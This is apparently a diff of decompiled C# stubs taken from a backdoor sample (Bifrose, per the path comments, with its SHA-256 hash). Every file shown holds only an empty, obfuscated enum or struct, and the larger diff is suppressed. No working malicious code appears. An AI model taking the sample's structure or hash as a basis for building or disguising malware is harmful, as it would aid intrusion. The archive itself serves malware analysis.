// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081ì
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ò
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081ò
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ù
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081ù
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0082\u0084
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[UnsafeValueType]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 544)]
|
||||
internal struct \u0082\u0088
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0082\u008A
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 16)]
|
||||
internal struct \u0082\u008E
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0082\u0094
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0082\u0095
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[UnsafeValueType]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 64)]
|
||||
internal struct \u0082\u009A
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¢
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0082\u00A2
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¥
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 224)]
|
||||
internal struct \u0082\u00A5
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¦
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0082\u00A6
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.§
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 248)]
|
||||
internal struct \u0082\u00A7
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¨
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 32)]
|
||||
internal struct \u0082\u00A8
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.©
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0082\u00A9
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0082\u00AD
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.²
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 8)]
|
||||
internal struct \u0082\u00B2
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.³
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 8)]
|
||||
internal struct \u0082\u00B3
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¶
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0082\u00B6
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.º
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct \u0082º
|
||||
{
|
||||
}
|
||||
}
|
||||
+1424
File diff suppressed because it is too large
Load Diff
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 60)]
|
||||
internal struct \u0086
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 8)]
|
||||
internal struct \u0088
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 56)]
|
||||
internal struct \u008D
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0094
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 12)]
|
||||
internal struct \u00A0
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¨
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 36)]
|
||||
internal struct \u00A8
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct \u00AD
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.±
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 16)]
|
||||
internal struct \u00B1
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.´
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct \u00B4
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.µ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct µ
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Á
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 32)]
|
||||
internal struct Á
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Ê
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct Ê
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ä
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[UnsafeValueType]
|
||||
[NativeCppClass]
